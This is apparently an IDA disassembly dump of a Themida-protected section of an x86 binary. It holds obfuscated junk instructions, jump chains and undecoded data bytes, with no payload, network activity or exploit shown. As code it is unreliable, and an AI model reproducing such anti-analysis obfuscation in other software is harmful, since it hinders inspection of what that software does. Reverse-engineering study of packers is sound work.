		sub	ebp, 6E6A2176h
		add	ebp, esi
		add	ebp, 6E6A2176h
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_56269E
; ---------------------------------------------------------------------------


loc_55901A:				; CODE XREF: Themida_:005659DAj
		add	esi, 299ED4C1h
		sub	ebp, esi
		pop	esi
		sub	ebp, 4BFD0468h
		add	ebp, edi
		add	ebp, 4BFD0468h
		add	ebp, 2BA344C0h
		pop	edi
		jmp	loc_560ADB
; ---------------------------------------------------------------------------


loc_55903D:				; CODE XREF: Themida_:005640DAj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5678C6
; ---------------------------------------------------------------------------
byte_55904D	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:00552AF4o
		dd 0FFFF9B67h
; ---------------------------------------------------------------------------


loc_559054:				; CODE XREF: Themida_:005646B4j
		add	edi, edx
		pop	edx
		sub	eax, edi
		jmp	loc_5639BD
; ---------------------------------------------------------------------------
		dw 1489h
		dd 7602BA24h, 0CA8157D4h, 2A1C252Bh, 0EAC1DAF7h, 0F2814203h
		dd 2D234EE2h, 0B850D2F7h, 366E2DE1h, 0CBD6C305h, 58C22901h
		dd 0EABBEA81h, 0D389DE32h, 310EE9h
		db 0
; ---------------------------------------------------------------------------


loc_559095:				; CODE XREF: Themida_:0055CAEFj
		mov	edx, 559A01F6h
		jmp	loc_5625E5
; ---------------------------------------------------------------------------
		db 89h
		dd 242C8BEBh, 4C481h, 73E90000h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5590AF:				; CODE XREF: Themida_:005579F1j
		mov	eax, 41F36A98h
		jmp	loc_5609CF
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4B8h, 58C52900h, 5C242C87h, 55241C89h, 56025768h, 0DDF75D4Ah
		dd 3C69F581h, 0F5812C4Dh, 0B12154D2h, 0FFFFBAE9h, 5BDA29FFh
		dd 0E956C201h, 6235h, 5A240487h, 6E9168h, 24148900h, 3351E9h
		dd 0C6815E00h, 4, 4C681h, 34870000h, 0CFB7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559116:				; CODE XREF: Themida_:00562CBCj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_567F92
; ---------------------------------------------------------------------------


loc_55911F:				; CODE XREF: Themida_:00564BF1j
		xchg	esi, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_55CB54
; ---------------------------------------------------------------------------
		db 81h
		dd 1134A4C5h, 2C875800h, 0C2815C24h, 40687EA2h,	0EA81DA01h
		dd 40687EA2h, 0FFDE89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55914D:				; CODE XREF: Themida_:005546E8j
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_55FE13
; ---------------------------------------------------------------------------


loc_559169:				; CODE XREF: Themida_:00560D36j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55C3B2
; ---------------------------------------------------------------------------


loc_559174:				; CODE XREF: Themida_:0055A1AAj
		push	edx
		mov	edx, 245710BFh
		sub	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 22310FA6h
		dec	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56386E
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 64h
		dd 4D717B63h, 0B951D5F7h, 0A5F1758h, 0BA52D1F7h, 48B9655Fh
		dd 1C281h, 0EA810000h, 47592E7Fh, 495AD129h, 36F1C981h
		dd 0E9C16321h, 66BF5708h, 81044A62h, 0CEB017C7h, 5FF929F1h
		dd 8159CD31h, 0AD1F0EF5h, 2456E91Dh, 0EA810000h, 67A84719h
		dd 0C281F229h, 67A84719h, 0BC6BE95Eh, 0DA68FFFFh, 8900003Dh
		dd 5BB82404h, 0E953942Fh, 0E23Dh, 6EAC05Bh, 8044EA80h
		dd 0F280C1CAh, 0F7B75326h, 5845E9h, 39E46800h, 48E9E895h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559237:				; CODE XREF: Themida_:00564570j
		not	ebp
		not	ebp
		dec	ebp
		shl	ebp, 6
		xor	ebp, 26DEE544h
		sub	eax, 159E4622h
		sub	eax, ebp
		add	eax, 159E4622h
		jmp	loc_557AEF
; ---------------------------------------------------------------------------
		dw 0DD29h
		dd 81241C8Bh, 4C4h, 388EE900h, 33B80000h, 0C1381246h, 843504E0h
		dd 2D715B74h, 0F07F17B0h, 9BE9C701h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_55927F:				; CODE XREF: Themida_:00559F72j
		xchg	eax, [esp]
		pop	esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		db 66h
		dd 8C05E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5592AA:				; CODE XREF: Themida_:00565D68j
		add	ebp, edx
		pop	edx
		sub	esp, 4
		jmp	loc_55B48A
; ---------------------------------------------------------------------------
dword_5592B8	dd 8904EC83h, 0E9562414h, 7BAAh	; DATA XREF: Themida_:00552960o
; ---------------------------------------------------------------------------


loc_5592C4:				; CODE XREF: Themida_:005553C1j
		pop	ebp
		mov	edx, ebp
		pop	ebp
		pop	ecx
		push	edx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	[edi+24h], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_567758
; ---------------------------------------------------------------------------


loc_5592E0:				; CODE XREF: Themida_:00562AD5j
		push	dword ptr [esp]
		jmp	loc_5554B0
; ---------------------------------------------------------------------------


loc_5592E8:				; CODE XREF: Themida_:0055335Dj
		push	edi
		jmp	loc_5579F6
; ---------------------------------------------------------------------------
word_5592EE	dw 34FFh		; DATA XREF: Themida_:005529BCo
		dd 2434FF24h, 0D833E959h, 0DB2D0000h, 1529D08h,	8DB05C8h
		dd 0C8B529Dh, 4C48124h,	50000000h, 42474FFh, 0C3CCE958h
		dd 81580000h, 4C7h, 243C8700h, 0E0E9525Ch
		db 7Eh,	2 dup(0)
byte_55932B	db 66h			; DATA XREF: Themida_:00552AE8o
		dd 68240C8Bh, 45DDh, 0E9241489h, 62D2h,	8324348Bh, 0C68104C4h
		dd 4, 8704EE83h, 248B2434h, 242C8924h, 590ABB53h, 0EBC14081h
		dd 49EBE906h
		db 2 dup(0)
word_559362	dw 34FFh		; DATA XREF: Themida_:00552B4Co
		dd 0EC835924h, 243BE904h, 54550000h, 0D4E4E9h, 48F5800h
		dd 24248B24h, 66E1F766h, 0E96BF868h, 0FFFF9CC0h, 0FF982EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55938D:				; CODE XREF: Themida_:0055CF87j
		mov	[esp], ebx
		jmp	loc_559D47
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFBA64E9h, 50C181FFh, 5B34D16Bh, 4C181h, 0C330000h
		dd 0DFC0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5593B2:				; CODE XREF: Themida_:00568299j
		push	4D3F1E94h
		jmp	loc_5608E9
; ---------------------------------------------------------------------------
		dd 9C242CD2h, 0FF97F6E9h, 0A1E952FFh
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5593CB:				; CODE XREF: Themida_:0055F88Dj
		push	eax
		mov	eax, 758233F8h
		sub	ebx, eax
		pop	eax
		jmp	loc_55EC79
; ---------------------------------------------------------------------------
		db 0BFh, 78h, 7Bh
		dd 0FE3167E3h, 4733E9h
		db 0
byte_5593E5	db 0ADh, 5, 90h		; DATA XREF: Themida_:005529E4o
		dd 2D1FA708h, 4AA841D7h, 8AE9D829h, 5FFFFFF1h, 39FDC781h
		dd 12E90E48h, 89FFFFBEh, 67E9242Ch
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55940B:				; CODE XREF: Themida_:0055E4A1j
		xchg	edx, esi
		xchg	esi, edx
		not	esi
		jmp	loc_55AA39
; ---------------------------------------------------------------------------


loc_559416:				; CODE XREF: Themida_:0055E138j
		mov	edx, 454A11C3h
		and	edx, 2BF7175Bh
		jmp	loc_565883
; ---------------------------------------------------------------------------
aVsn		db 'VИnй',0
		align 4
		dd 5310E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559432:				; CODE XREF: Themida_:0055EC3Aj
		add	ah, bh
		sub	ah, 1Fh
		sub	ah, 0C3h
		pop	ebx
		mov	bl, ah
		jmp	loc_565B52
; ---------------------------------------------------------------------------


loc_559442:				; CODE XREF: Themida_:0056824Cj
		mov	esi, ebp
		jmp	loc_560668
; ---------------------------------------------------------------------------
		db 2Dh,	23h, 5Bh
		dd 0F029279Bh, 9B5B2305h, 19E95227h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55945B:				; CODE XREF: Themida_:00554FC4j
		mov	ecx, [esp]
		jmp	loc_55B582
; ---------------------------------------------------------------------------


loc_559463:				; CODE XREF: Themida_:005588E9j
		add	bl, 0A8h
		dec	bl
		add	bl, 0FFh
		jmp	loc_55BBC0
; ---------------------------------------------------------------------------
aPstp		db 'PИT╞',0
		align 2
		dw 0F281h
		dd 0FE9AE9EAh, 0E95AD531h, 267Eh, 4BAh,	24540100h, 24148B04h
		dd 14B8E9h, 0E9476600h,	0FFFFB18Fh
; ---------------------------------------------------------------------------


loc_55949C:				; CODE XREF: Themida_:00567E66j
		sub	dword ptr [esp], 6F3D745Bh
		pop	ebx
		jmp	loc_565B79
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 2Fh
		dd 89D058FCh, 113FE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594B6:				; CODE XREF: Themida_:00563A85j
		push	ebx
		sub	dword ptr [esp], 1A8E59FFh
		pop	esi
		jmp	loc_556D5C
; ---------------------------------------------------------------------------


loc_5594C4:				; CODE XREF: Themida_:0055F1FEj
		or	edx, 5B170B11h
		jmp	loc_5552A5
; ---------------------------------------------------------------------------
		db 81h
		dd 77F39AC3h, 5BDA019Eh, 3E9CA01h, 5A0000E3h, 4BF57h, 0F8010000h
		dd 0BFDEE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594EE:				; CODE XREF: Themida_:0055A62Dj
		add	esi, 74DD3C31h
		jmp	loc_55B590
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 17h
		dd 81FFFFCEh, 4C4h, 1256E900h, 71BB0000h, 0E9742F17h, 2BA2h
		dd 0BE56D0F7h, 0FFFFFFFFh, 0F75EF001h, 0BABA52D0h, 0E9012A36h
		dd 7975h, 83242C8Ah, 0ED8004C4h, 0B4FBE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55953A:				; CODE XREF: Themida_:0056388Ej
		add	edx, 0CAB8BF94h
		sub	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 1CBE739Fh
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 4739761Eh
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_562544
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0BF66243Ch, 166FFFFh, 665F66FDh, 99A3E957h, 0C2830000h
		dd 24148704h, 0E924248Bh, 0C9E7h, 5EF7015Dh, 8704C783h
		dd 81E9243Ch
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559593:				; CODE XREF: Themida_:005565F2j
		pop	esi
		jmp	loc_553B8F
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
aS_8		db '$Ил&',0
		align 2


loc_5595A2:				; CODE XREF: Themida_:00560A42j
		pop	esi
		push	edx
		mov	edx, 1244EADh
		inc	edx
		jmp	loc_559C31
; ---------------------------------------------------------------------------
		db 66h
		dd 1B90C381h, 8AF8E9h, 0C3285A00h, 582434FFh, 4C481h, 602C0000h
		dd 19E9D828h, 8B000021h, 0C4812404h, 4,	2BB53h,	0B8500000h
		dd 29391AFCh, 158C629h,	9E22E9DEh, 1C89FFFFh, 5DFEBB24h
		dd 5C313BA1h, 0E95B0424h, 0BBDCh, 3411685Dh, 0C890000h
		dd 2BF5724h, 89000000h,	9BC4E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559616:				; CODE XREF: Themida_:00563715j
		add	ecx, 299B6771h
		sub	ecx, 4E101ADFh
		jmp	loc_559EC7
; ---------------------------------------------------------------------------


loc_559627:				; CODE XREF: Themida_:00557F58j
		mov	[esp], ecx
		mov	ecx, 1510D08h
		mov	eax, 0FEAEF2FCh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1705290h
		push	0
		sub	dword ptr [esp], 690637D4h
		jmp	loc_555888
; ---------------------------------------------------------------------------


loc_559653:				; CODE XREF: Themida_:0055CD94j
		add	edx, esi
		sub	edx, 72E343Dh
		jmp	loc_560D35
; ---------------------------------------------------------------------------


loc_559660:				; CODE XREF: Themida_:00565E67j
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 5F2F2FE6h
		pop	ebx
		add	ebp, 50261A6h
		sub	ebp, 59EE067Dh
		dec	ebp
		jmp	loc_561817
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0D2F7D587h, 99B8E9h,	20F38000h, 8004F380h, 9BE988E3h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55969B:				; CODE XREF: Themida_:00559C83j
		neg	dword ptr [esp]
		jmp	loc_553569
; ---------------------------------------------------------------------------
aHx		db ']hx ',0
		dd 8F11E900h, 74FF0000h, 0F6E90424h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5596B7:				; CODE XREF: Themida_:0055E238j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		push	4
		pop	ebx
		add	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_55AE2D
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4C181h, 11E90000h, 5CFFFFA3h,	57243489h
		dd 0BA3888BFh, 2C67BE01h, 0EEC16973h, 0FAF68104h, 811F3F08h
		dd 0D93E31C6h, 5FFE29E8h, 8B5EF301h, 0C4812434h, 4, 2434FF50h
		dd 0E7D8E9h, 88506600h,	6258E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55972E:				; CODE XREF: Themida_:00561318j
		pop	ebp
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_55E37F
; ---------------------------------------------------------------------------


loc_559739:				; CODE XREF: Themida_:005632DEj
		add	esp, 4
		add	esp, 4
		shl	edi, 6
		jmp	loc_55D58B
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFFA0D2h
; ---------------------------------------------------------------------------


loc_559764:				; CODE XREF: Themida_:005600B6j
		sub	edx, 64463E7Bh
		sub	edx, 49603EAh
		sub	ebx, 679A19AFh
		sub	ebx, edx
		add	ebx, 679A19AFh
		pop	edx
		mov	ecx, [ebx]
		mov	ebx, [esp]
		jmp	loc_55A710
; ---------------------------------------------------------------------------


loc_559789:				; CODE XREF: Themida_:0055EFD5j
		push	edi
		mov	edi, 68F30EE1h
		jmp	loc_55ECD2
; ---------------------------------------------------------------------------
		dd 4C2815Ah, 56000000h,	0F366F1BEh, 0AE94E04h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5597A7:				; CODE XREF: Themida_:00567FEAj
		add	edi, 4
		add	edi, 4
		jmp	loc_562D16
; ---------------------------------------------------------------------------


loc_5597B5:				; CODE XREF: Themida_:005577B5j
		mov	esi, 1A4300CBh
		mov	ebx, 86DB5486h
		sub	ebx, esi
		push	dword ptr [esp]
		jmp	loc_554279
; ---------------------------------------------------------------------------
		db 5Fh,	8Fh, 4
aSnb		db '$\Иnb',0
		dw 5600h
		dd 0EC83E689h, 241C8904h, 4BBh,	82C68100h, 15C0830h, 82EE81DEh
		dd 5B5C0830h, 8704EE83h, 895C2434h, 0E389241Ch,	7580E956h
		dd 6C810000h, 1CAC0424h, 30E941D5h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55980F:				; CODE XREF: Themida_:00563840j
		pop	edx
		push	163Dh
		mov	[esp], ebx
		jmp	loc_558E4C
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0F3h
aUWusO		db 'ЦйWЦИо▌',0
		dd 76CD8100h, 811B0629h, 95D636C5h, 0E9EF096Eh,	0D3B0h
; ---------------------------------------------------------------------------


loc_55983C:				; CODE XREF: Themida_:005573B5j
		push	edi
		mov	edi, 0A1C21EABh
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		push	esi
		jmp	loc_565877
; ---------------------------------------------------------------------------
		dd 4245401h, 0F2BB5356h, 50018872h, 0C689D889h,	46EEE958h
		dd 0CF010000h, 0A7F1E9h, 1D20B800h, 0FE94F73h, 33FFFFA5h
		dd 34312434h, 24343324h, 0E924248Bh, 0FFFF9D61h
; ---------------------------------------------------------------------------


loc_559894:				; CODE XREF: Themida_:00563B13j
		and	edx, 262D0071h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_559F82
; ---------------------------------------------------------------------------


loc_5598AB:				; CODE XREF: Themida_:0056768Fj
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_565245
		push	eax
		push	edx
		push	eax
		push	esi
		mov	esi, 52DD3C63h
		push	esi
		not	dword ptr [esp]
		pop	esi
		inc	esi
		jmp	loc_5555D3
; ---------------------------------------------------------------------------


loc_5598D3:				; CODE XREF: Themida_:0055C79Aj
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_560E19
; ---------------------------------------------------------------------------


loc_5598DC:				; CODE XREF: Themida_:0055D4F5j
		mov	esi, 21781BAAh
		and	esi, 785D0E2Eh
		sub	esi, 1ABF6624h
		shl	esi, 5
		shr	esi, 7
		jmp	loc_567082
; ---------------------------------------------------------------------------


loc_5598F8:				; CODE XREF: Themida_:00560B92j
		pop	edi
		jmp	loc_55A643
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF242C89h, 8B042474h, 0C481242Ch, 4, 0E924048Fh
		dd 0C024h, 0E9243C8Bh, 6B5Eh, 2414895Ch, 473068h, 24248900h
		dd 4240483h, 8B68555Ah,	8900002Eh, 0B9512404h, 108C770Eh
		dd 0E8E9C889h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55994B:				; CODE XREF: Themida_:005621D5j
		add	ch, bh
		pop	ebx
		sub	bl, 53h
		jmp	loc_567275
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 5E08950h, 4,	42Dh, 24048700h, 0A2B7E9h, 24048F00h, 5F82E9h
		dd 0B9515200h, 3D2A1295h, 0B514F2BAh, 0E9CA312Dh, 3A8h
		dd 8758C329h, 665C241Ch, 66243D68h, 48F6654h, 4816624h
		dd 66000224h, 6624048Fh, 2BA6652h, 44816600h, 534E0224h
		dd 246C8166h, 661E7902h, 2244481h, 16632DDh, 66022454h
		dd 2246C81h, 0CE932DDh,	4700007Ch, 86C2E9h, 0F4C58100h
		dd 68696B04h, 5141h, 55241489h,	0E066EBBDh, 8A94E971h
		dd 0BD550000h, 1889531Eh, 3514E94Dh, 14890000h,	0E9C68824h
		dd 0DFABh, 4E31685Bh, 2C890000h, 305AE924h, 0EB810000h
		dd 7BDF1592h, 0A9E9CB29h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559A1F:				; CODE XREF: Themida_:00565B14j
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_560060
; ---------------------------------------------------------------------------
		db 68h,	67h, 0Ch
		dd 14890000h, 4EC8124h,	89000000h, 0BB53243Ch, 4, 895BDF89h
		dd 2434FFFAh, 4C4815Fh,	55000000h, 7F17B7BDh, 0C3B95116h
		dd 81366723h, 64EF6E1h,	6E9C111h, 0BAE9E1D1h, 68000042h
		dd 7408799Dh, 0ACDFE9h,	24248B00h, 0FF913AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559A81:				; CODE XREF: Themida_:00559E41j
		add	esi, 435647ACh
		jmp	loc_560C70
; ---------------------------------------------------------------------------
dword_559A8C	dd 0FF2434FFh, 34FF2434h, 0C4835A24h, 321A6804h, 14890000h
					; DATA XREF: Themida_:00552B6Co
		dd 617A6824h, 24890000h, 24048124h, 4, 20E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_559AB5:				; CODE XREF: Themida_:0055D5CCj
		pop	bx
		xor	al, dl
		pop	edx
		jmp	loc_557D5B
; ---------------------------------------------------------------------------


loc_559ABF:				; CODE XREF: Themida_:00562579j
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	94Ah
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 43D27F23h
		inc	ecx
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	46A464B3h
		pop	edx
		neg	edx
		sub	edx, 72010433h
		add	edx, 507D059Ah
		sub	edx, 0DBAA1BD4h
		mov	edi, edx
		pop	edx
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 60454F5Bh
		add	ebp, ecx
		sub	ebp, 60454F5Bh
		mov	ecx, [esp]
		jmp	loc_566FCD
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0EF815F24h, 8BA4247Ch, 0E95FF801h, 0AA03h, 4B684525h
		dd 3F693544h, 0E981639Fh, 65F3A6Eh, 0C181C129h,	65F3A6Eh
		dd 81AE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559B7E:				; CODE XREF: Themida_:00555E66j
		not	dword ptr [esp]
		jmp	loc_553AE0
; ---------------------------------------------------------------------------


loc_559B86:				; CODE XREF: Themida_:00566E04j
		pop	ebp
		sub	eax, 8C6120Ah
		mov	ebx, eax
		pop	eax
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	3673h
		jmp	loc_55CBB1
; ---------------------------------------------------------------------------


loc_559B9F:				; CODE XREF: Themida_:00554520j
		mov	esp, [esp]
		jmp	loc_55DD96
; ---------------------------------------------------------------------------


loc_559BA7:				; CODE XREF: Themida_:00554577j
		sub	eax, 0F4E5E6Eh
		sub	eax, 0FE64D9Eh
		xor	ecx, eax
		pop	eax
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_554DC3
; ---------------------------------------------------------------------------
		dw 8166h
		dd 663E84CBh, 0C3816643h, 0C1664406h, 506607E3h, 6F2AB866h
		dd 66C30166h, 0E924048Bh, 5305h
; ---------------------------------------------------------------------------


loc_559BF0:				; CODE XREF: Themida_:005607BAj
		mov	edx, 35F5739Ah
		sub	esi, edx
		pop	edx
		jmp	loc_55EA31
; ---------------------------------------------------------------------------


loc_559BFD:				; CODE XREF: Themida_:0055CACDj
		pop	esi
		sub	ebx, 6622239Bh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4B3A3453h
		sub	ebx, 0F6C2EE3h
		add	ebx, 6C555DB1h
		sub	ebx, ebp
		sub	ebx, 6C555DB1h
		add	ebx, 0F6C2EE3h
		jmp	loc_5660B7
; ---------------------------------------------------------------------------


loc_559C31:				; CODE XREF: Themida_:005595AAj
		add	edx, 0FFFFFFFFh
		push	edi
		push	68AA42B0h
		pop	edi
		sub	edx, edi
		pop	edi
		push	ecx
		jmp	loc_554C8C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 28E92404h, 0FF00000Ch, 69E92434h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559C57:				; CODE XREF: Themida_:00552FD3j
		or	eax, esi
		pop	esi
		shl	eax, 3
		jmp	loc_557FD6
; ---------------------------------------------------------------------------


loc_559C62:				; CODE XREF: Themida_:0055EAFEj
		mov	ebx, 4
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55B3CB
; ---------------------------------------------------------------------------


loc_559C77:				; CODE XREF: Themida_:00563E65j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 17490664h
		push	esi
		jmp	loc_55969B
; ---------------------------------------------------------------------------


loc_559C88:				; CODE XREF: Themida_:00558C8Aj
		add	ebp, 2
		jmp	loc_553D51
; ---------------------------------------------------------------------------


loc_559C90:				; CODE XREF: Themida_:00564406j
		xor	cl, 4
		jmp	loc_560554
; ---------------------------------------------------------------------------


loc_559C98:				; CODE XREF: Themida_:00564F6Bj
		mov	esi, esp
		jmp	loc_563FEF
; ---------------------------------------------------------------------------
byte_559C9F	db 66h			; DATA XREF: Themida_:00552A5Co
		dd 5024048Bh, 0DA47E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559CAA:				; CODE XREF: Themida_:00553304j
		xor	edx, 2B1834D2h
		jmp	loc_55D1F4
; ---------------------------------------------------------------------------


loc_559CB5:				; CODE XREF: Themida_:00560E44j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_5664C5
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0E8E904C4h, 8F0000C9h, 895C2404h,	5682434h
		dd 89000011h, 4832424h,	29E90424h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559CEB:				; CODE XREF: Themida_:0055B805j
		inc	edx
		sub	edx, 0CF3D474h
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 10h
		and	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_55FBE4
; ---------------------------------------------------------------------------


loc_559D19:				; CODE XREF: Themida_:0055ABD2j
		push	65D1h
		mov	[esp], edi
		mov	edi, 4C9C718Dh
		push	edi
		xchg	ebp, [esp]
		xchg	eax, ebp
		jmp	loc_5677ED
; ---------------------------------------------------------------------------
		dd 0BEEA8159h, 0E928451Dh, 0FFFFA770h, 43BC581h, 72E92A17h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559D47:				; CODE XREF: Themida_:00559390j
		push	20D65EFh
		pop	ebx
		and	edx, ebx
		jmp	loc_55DE12
; ---------------------------------------------------------------------------


loc_559D54:				; CODE XREF: Themida_:0055C44Dj
		add	ecx, 3C6354CCh
		pop	edi
		add	ecx, eax
		push	eax
		jmp	loc_55D4FA
; ---------------------------------------------------------------------------
		db 1
		dd 0ED8158C5h, 0FFFFFFFFh, 0B850DDF7h, 40E249EAh, 0AB3C1935h
		dd 0DBBF5723h, 4F4D506Fh, 2119B850h, 0E8C13454h, 1F33E902h
		dd 36B80000h, 0E97E0E55h, 1CD1h, 6CEB80h, 6CC380E3h, 8324048Bh
		dd 0EB8004C4h, 0C0B60F6Eh, 0DABEE9h
		db 0
; ---------------------------------------------------------------------------


loc_559DB1:				; CODE XREF: Themida_:00555E53j
		sub	eax, 47BE4C3Dh
		sub	eax, ebp
		add	eax, 47BE4C3Dh
		pop	ebp
		jmp	loc_56392C
; ---------------------------------------------------------------------------
aYh?		db 'Yh?{',0
		dd 24348900h, 42474FFh,	13C8E9h, 18C80500h, 0C621F8C3h
		dd 5EFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_559DE1:				; CODE XREF: Themida_:00561B8Aj
		pop	esi
		mov	ebx, 6BDB3C87h
		xor	ebx, ecx
		pop	ecx
		jmp	loc_55E9F6
; ---------------------------------------------------------------------------
		db 33h
		dd 248B240Ch, 0E6895624h, 4C681h, 0EE810000h, 4, 31243433h
		dd 34332434h, 24248B24h, 54240C89h, 0FFB548E9h,	0A8C781FFh
		dd 473A3167h, 0FAF78147h, 817B5076h, 0B3DBCDF7h, 5FFE0977h
		dd 534C681h, 0EE9404Bh
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_559E3B:				; CODE XREF: Themida_:00557400j
		and	esi, 12F91007h
		jmp	loc_559A81
; ---------------------------------------------------------------------------


loc_559E46:				; CODE XREF: Themida_:0055F5A2j
		shr	edi, 6
		add	edi, 69F9104Fh
		jmp	loc_55ECE7
; ---------------------------------------------------------------------------
		dd 38ADE381h, 0E3C177D9h, 0C7FCE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559E62:				; CODE XREF: Themida_:0055567Dj
		xchg	ebx, esi
		jmp	loc_566553
; ---------------------------------------------------------------------------


loc_559E69:				; CODE XREF: Themida_:00565F2Cj
		add	ecx, 4
		jmp	loc_567995
; ---------------------------------------------------------------------------
